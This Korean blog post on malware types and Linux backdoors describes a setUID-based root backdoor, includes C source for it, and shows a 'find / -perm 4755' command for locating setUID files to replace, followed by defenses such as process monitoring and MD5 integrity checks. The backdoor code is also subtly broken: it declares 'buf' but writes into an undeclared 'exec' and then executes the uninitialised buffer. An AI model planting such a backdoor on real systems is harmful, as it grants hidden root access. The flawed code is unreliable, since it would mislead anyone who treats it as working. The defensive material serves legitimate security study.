트로이 목마
사용자가 의도치 않은 코드를 정상적인 프로그램에 삽입한 프로그램.
스파이웨어(Spyware)
설치된 시스템의 정보를 주기적으로 원격지의 특정한 서버에 보내는 프로그램.
백도어 (Backdoor, Administrative hook, Trap Door )
운영체제, 프로그램을 생성 시 정상적인 인증 과정을 거치지 않고, 운영체제나 프로그램 등에 접근할 수 있도록 만든
일종의 통로
백도어의 종류
종류 | 방법과 예시 |
Local Backdoor | setUID를 통한 관리자로 권한 상승 (Privilege Escalation) 사용 |
Remote Backdoor | 네트워크에 포트를 개방했을때 원격으로 접속하여 권한 상승 등을 함. |
패스워드 크래킹 백도어 | 패스워드는 암호화되어 shadow 파일에 저장됨, 암호화된 패스워드를 해커에게 보여주어 암복호화가 가능하도록 함. |
시스템 설정 변경 백도어 | 서버 컴퓨터가 원격 접속 PC를 지정해두었을 때, 바이러스가 침투하여 모든 PC에 대한 원격 접속을 허용한다. |
거짓 업그레이드 | 업데이트 파일을 허위파일로 게재하여 잘못된 프로그램을 설치하게함.\ |
[해킹 기법]
- root 권한을 얻는 backdoor 파일을 생성하고
- 자주 쓰지 않는 setUID권한 있는 파일을 찾아 대치시킨다.
- 추후에 대치된 백도어 파일로 루트권한을 얻어 시스템을 해킹한다.
<backdoor.c> 예시파일
#include <stdio.h>
void main(int argc, char * argv[]) {
char buf[100]; // 명령어를 입력받을 버퍼
setuid(0); //root id인 0
setgid(0);
//0: stdin, 1: stdout, 2: stderr
//에러메시지는 /dev/null로 보이지 않게한다.
sprintf(exec, "%s 2>/dev/null ", argv[1]);
//buf에 담긴 명령어를 실행한다.
system(buf);
return;
}
컴파일후 실행파일의 인자로 넘긴 명령어가 '루트 권한'으로 실행된다.
setuid(0), setgid(0)이 유효하려면 해당 실행 파일에 setUID권한이 있어야한다.
backdoor 실행 예시
setUID 권한이 있는 파일을 찾는 구문
find / -perm 4755 2>/dev/null
위 명령어 정도는 한눈에 들어와야 한다.
4755 -> -rwsr-xr-x 파일을 stderr 은 보이지 않게 목록을 찾는다.
대치시킨 파일을 통해 root권한을 얻어 시스템을 해킹한다.
p.s. crontab을 통한 백도어 프로그램을 자동 실행 시키는 공격도 있다.
[방어 기법]
-
현재 동작중인 프로세스를 확인한다.
프로세스 이름 | 설명 |
Csrss.exe | 윈도우 콘솔을 관장하며 Thread 생성/삭제 |
Explorer.exe | 작업 표시줄, 바탕화면 같은 사용자 셸 지원 |
Lsass.exe(Local Security Authentication Server) | Window Logon 서비스에 필요한 인증 |
Smss.exe(Session Manager SubSystem) | 사용자 세션 시작 기능, Win32(Csrss.exe) 구동, 시스템 변수 설정, 정상적인 Winlogon, Csrss 종료시 시스템 종료 |
Spoolsv.exe(Printer Spooler Service) | 프린터와 팩스의 스풀링 기능 |
Svchost.exe(Service Host Process) | DLL(Dynamic Link Libraries)에 의해 실행되는 프로세스의 기본 프로세스, 한 시스템에서 svchost 프로세스 여러 개를 볼 수 있다. |
Services.exe(Service Control Manager) | 시스템 서비스 시작/정지, 서비스간 상호작용의 기능 수행 |
System | 커널 모드 스레드의 시작점 |
ProcessExplorer , ProcessMonitor, TCPView 등의 Tool을 이용해서 프로세스를 모니터링함.
- SetUID 파일 검사 : 로컬 백도어(ex. 권한 상승)을 방지하기 위함.
find / -perm 4755
- 무결성 검사
시스템에 어떤 변화가 일어나는지 테스트해보는 것. ex)MD5 해시 기법
파일 내용이 조금만 바뀌어도 해시값이 달라지므로 주요 파일의 MD5 값을 주기적으로 수집, 검사하여 파일의 변경 내역을 확인한다.
- 로그 분석: Cyber Forensic
'Low Level > 시스템 보안' 카테고리의 다른 글
침해사고 대응 절차 (0) | 2020.09.09 |
---|---|
슈퍼 데몬 (0) | 2020.09.09 |
[Linux] 임의 관리자 계정 생성 (0) | 2020.09.09 |
[Linux] 권한 상승 (feat. Backdoor) (0) | 2020.09.08 |